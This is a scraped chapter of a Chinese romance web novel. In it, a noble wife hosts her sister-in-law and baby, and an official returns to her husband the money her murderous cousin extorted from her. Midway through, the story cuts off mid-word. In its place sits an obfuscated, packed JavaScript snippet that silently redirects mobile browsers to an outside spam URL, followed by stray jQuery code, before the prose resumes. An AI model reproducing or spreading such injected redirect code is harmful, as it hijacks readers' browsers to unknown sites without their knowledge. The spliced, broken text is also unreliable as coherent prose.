文趣网 > 都市小说 > 为夫不敢反驳娘子 > 41. 火上
    “得空,得空,”林时雨赶忙下了炕,将莫氏迎入暖阁里,又连声让丫头们上热茶,“这样地冻天寒的日子,你怎么来看我还带着小宝儿?难道就不怕他冻着?”

    莫氏捧着热茶道:“就几步路而已。我已经让奶娘用你送的厚厚襁褓,将他裹得严严实实的,冷不到他。难得今日出了会太阳,若是再不出来走动走动,只怕辜负这么好的冬日暖阳。”

    她话是这样说,但林时雨却赶紧让碧桃领着抱着孩子的奶娘,去熏炉旁取暖。

    奶娘烤暖和了手,又将小小婴孩身上厚重的襁褓解开。林时雨见那婴孩穿着通身柔软厚实的袄子,紧握着拳头,闭着双眼安稳熟睡,才真的信了莫氏的话。

    莫氏饮了两口茶,见林时雨终于放下心来坐在炕边,不由笑道:“他都快三个月了,能吃能睡。就算抱着他在外面逛一逛,也没事!”

    “况且,咱们两个的院子离得又近,就当给他见见日光了。只是倒是你,这么好的暖阳,不去花园里赏梅折花,怎么就窝在屋子做活计?”

    她一进屋就见林时雨才放下针线框。这会她坐在炕边上,便将针线框里,那只未做完的香囊看得清清楚楚。

    那是一只绣着白梅的云锦香囊。看样式和颜色,应该是做给男子佩戴的。

    林时雨此刻正将睡熟的小宝儿抱在怀里稀罕,冷不防听到莫氏的话,颇有些掩耳盗铃吩咐碧桐去厨房取些点心来,才朝莫氏道:“我上次不慎弄丢了夫君的香囊,他要我赔他一只新的。”

    前些时候,莫氏和姑母接连诞子。她哪有功夫去做沈飞要的香囊?

    不过是见这几日姑母已经顺利出了月子,府中事项也不多,这才腾出手来做香囊。

    若是再拖上些时候,她就要着手准备过年的繁冗事项,便只能等到开春再动手了。

    莫氏闻言但笑不语,只拿一双秋水盈盈的眼睛,细打量着林时雨有些微红的耳朵。林时雨说完这话,抬头见莫氏这样若有若无地朝自己望来。

    只见她眼底除了七分笑意,还另藏着三分打趣的意味,瞬间就让林时雨越发不好意思地低下头,只专心地看着怀里的小宝儿。

    “你们……”莫氏见林时雨这副羞怯的模样,顿了顿道,“罢了,你们之间感情和睦,再加上有皇贵妃替你撑腰,就算是母亲她再着急子嗣,也不敢像上次那样对你。”

    “……母亲也有她的难处。”

    “……”

    “都是我不好,没能为夫君诞下个一子半女。再加上夫君他执意不肯往身边添人,只怕是父亲心里也会有所不快。”

    林时雨说完这话后,又紧接着道:“算了,不提这些事了。前几日,李妈妈那位在替夫君看庄子的儿子允哥儿,让管事送来一些红果子。我让丫头们给各院都送了一盘子,听丫头们回话说你喜欢这果子,只是直接食用,酸得有些让人倒牙。我便让人用这红果子,做了些点心,特意又叮嘱多放一些蜜。正好你今日来了,我让她们端些来给你尝尝。”

    林时雨如何不知,若是她膝下有了子嗣,荣庆堂那边便再不敢那般折辱自己?

    可是,她不愿意。

    莫氏见状,倒不好再提这事。

    好在,就在这时,林时雨怀里原本熟睡的婴孩,忽啼哭着醒来。莫氏连忙将大哭的小宝儿从林时雨怀里接过,伸手往孩子身后一摸,一阵暖意渐渐在手心里漫开。

    原来,是小宝儿尿了。

    这下,屋子里骤然变得热闹忙碌起来。

    直到奶娘领着丫头给小宝儿换过干净袄裳,莫氏才放心地净了手,又与林时雨吃着点心,闲聊起来。

    只是就在她们坐在参白院里的暖阁里闲聊时,刘氏已经带着从外面药铺打探消息的英娘,急匆匆地赶往荣庆堂。

    而原本随太子韦诀回京复命后,早该踏入内院的沈飞,却被刘管事请去了外厅见客。

    原本他是想着先回趟参白院换身衣裳,再去外厅。但听刘管事说,今日上门来的人,是大理寺少卿吴倾楼。

    他素日和这人来往的不多,也不知这冰天雪地的日子里,吴倾楼寻他做什么。沈飞想了想,还是停住了往参白院里走的脚步。

    好在,外书房平日里也准备的有能见客的衣裳。还是先去外厅见一见吴倾楼,听听他寻自己究竟有何要事,再回参白院吧。

    刘管事见沈飞生生转了去内院的步伐,往外书房走,忙派人去外书房里给沈飞准备见客的衣服。

    等到沈飞收拾妥当,踏进外厅时,吴倾楼早就坐在厅里的椅子上,正好朝他看来。

    “下官见过沈世子。”吴倾楼起身拱手道。

    沈飞摆手道:“吴大人多礼了。不知大人突然上门拜访,让大人久等了。快坐下说话吧。”

    “说来也巧,”沈飞随意寻了个位置坐下,端着丫头奉来的热茶笑道,“我这才随太子殿下回京向陛下复命,刚回府,就听管家说吴大人亲自上门拜访。也不知吴大人这是——”

    除了上次感谢他舍身相救林时雨,沈飞派人送过谢礼,又带着林时雨和幼妹亲自上门致谢,他们便再没有什么往来。

    也不知道这人今日上门来做什么?

    吴倾楼明白他话里的意思,随即从袖子里掏出一封没有署名的信封,恭敬地递给一旁垂手侍立的刘管家,才开口道:“这里面装的是两万多两的银票。是某特意来还给府上的世子夫人的。”

    “还给我夫人?”沈飞有些不解,“吴大人,可否把话再说清楚些?”

    他放下手里的茶盏,接过刘管事递来的信封打开一看,果然见里面装的是几张数额极大的银票,还有一些散碎银票。

    沈飞将银票放回信封里,随手往案几上一放,沉声道:“我夫人何时给过大人这么数额极大的银票?”

    吴倾楼见沈飞眉间浮现出不虞之色,知道他或许误解了什么。他不想她被沈飞误会,面色平静道:“这些银票,是下官在一逃犯身上搜到的。”

    紧接着,吴倾楼便把这银票得来的来龙去脉,当着沈飞的面,给交代了个清楚。

    “半年前,凌源县出了一桩命案。而命案中双双死去的老夫妇,正是世子夫人那位名叫陈骆的表兄的父母。原本街坊亲戚们只是以为,那对老夫妇只是年迈体弱,重病而亡。可是就在下葬那日,替那对老夫妇穿衣的道士却发现,那二人七窍流着黑血。他察觉到不对劲,即刻告诉了陈骆,说他爹娘的死有问题,让他赶紧去报官。”

    “然后呢?”

    “然后,那道士不仅没能等到官府的人来查看,还被人从后背用绳子活活勒死。等其他人发现倒在陈宅里的道士时,陈宅唯一的主人陈骆,便人间蒸发了。”

    “……”

    “后面,官府的人出面查清了这桩命案。才知道原来那陈骆读书不成,竟被同窗引诱入赌场,染上赌瘾。那陈氏夫妇根本管不住他,家中的产业和祖田也被陈骆骗走赌输。凌源县一直在追查陈骆的下落,想拿人问话。哪曾想那人却在京城的风月楼喝酒,与人起了争执,引来了坊丁将他和几位闹事的子弟押入牢里,这才露了身份。”

    吴倾楼想起陈骆那狠毒卑鄙的小人,竟敢寻到京城里投靠林时雨,还威逼她交出数额极大的钱财,只恨不能立即亲手杀了那个出,生!

    可是他不能这么冲动。

    沈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666433|202673||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    飞瞧着吴倾楼铁青的脸色,挑眉道:“这个人确实在我府上住过一段时间,可是没有一个人知道这人竟敢弑父弑母。不然的话,我也定轻饶不了他!敢问吴大人,那照你这么说,那他定然是见自己落了网,走投无路,这才搬出我们镇国公府替自己助势,所以你今日才上门寻我?”

    “不,”吴倾楼否认道,“下官这次来,并不是因为陈骆搬出镇国公府。而是因为那人经过一番拷问,不仅原原本本地将自己弑父弑母,杀害道士的事交代清楚,还另外交代了身上巨额银票的来源。他说,这银票是贵府的世子夫人赠予他的。还说……”

    “他还说什么?!”沈飞怒声道。

    沈飞听吴倾楼将陈骆所犯之事说得详之又详,又听陈骆已经认罪不讳。哪里还猜不到那丧尽天良的出,生身上,的银票,是怎么得来的?

    原来是这样。

    怪不得,怪不得那人明明就是一个贪婪无比,好色成性的坏种,却能安安静静地离开镇国公府。

    他早该想到的。

    吴倾楼的话,再加上林时雨先前变卖的众多嫁妆一事,沈飞已经猜到应该是陈骆用了什么卑鄙手段,逼着她不得不给他银子。

    一想到林时雨苦苦瞒着自己,她被陈骆敲竹杠的事,沈飞就觉得一股深深的无力感从心头涌起。

    是了,这种茫然失措的感觉,从来只有在与她有关的事情上,他才能体会到。

    可是当着吴倾楼的面,沈飞不愿意让他知道他与林时雨之间有多疏离。

    沈飞搭在扶手上的大掌,渐渐握成拳头。手背暴起的青筋,昭示着他心中的怒火和愤慨。

    吴倾楼见状道:“世子别动怒。那人说世子夫人会送给他这么一大笔银子,是因为他将世子夫人家中留下的唯一的一件遗物,交到了世子夫人手里。”

    “是吗?”

    沈飞怒极反笑:“难道不是他自己拿着我夫人的东西,逼着她将嫁妆尽数变卖吗?这种人弑父弑母,丧尽天良,依我看,就该一刀杀了了事,何必与他多说?”

    “他的罪名,自有御史台和京兆府尹,还有大理寺审完后,再决定施于何种酷刑。”

    吴倾楼嘴上这样说,心里却早就想好了要如何惩治那人。

    “世子,既然银票已经送到,那下官就告辞了。”吴倾楼起身拱手道。

    他已经将银票交给沈飞,又见沈飞只是怒与陈骆的罪行,并没有牵连林时雨,那他也该离开了。

    沈飞见吴倾楼利落地告辞,思及某人的心思,只好按耐着心里的难受劲儿,出声喊住了快走到门口的吴倾楼。

    “……吴大人请留步。”

    见吴倾楼停住脚步朝他望来时,沈飞不得不硬着头皮道:“我见吴大人不仅生得一表人才,办事又如此妥当,敢问吴大人可有妻室?或者与哪家闺秀有婚约?若是大人仍是孤身一人,我这里倒有一桩极好的婚事,想与大人聊聊,不知大人可有兴致?”

    吴倾楼不解地盯着沈飞,只听沈飞又道:“抱歉吴大人,是我唐突了。只是在下实在是感激大人对拙荆的救命之恩,前些日子我听拙荆说,说她命人送到府上的谢礼,被府上的管事退了回来。”

    “想来也许是大人只是觉得那些不过举手之劳,不愿意受镇国公府的谢礼。但我心里却还是想着自己能否替大人做些什么,来回报大人的救命之恩。”

    他替她报救命之恩的法子,就要给自己说门婚事吗?

    吴倾楼此刻也不知道,自己是该哭还是该笑。

    他救她,只是因为他愿意救她。他不需要别人替自己操心终身大事。

    尤其是这个人,还是沈飞。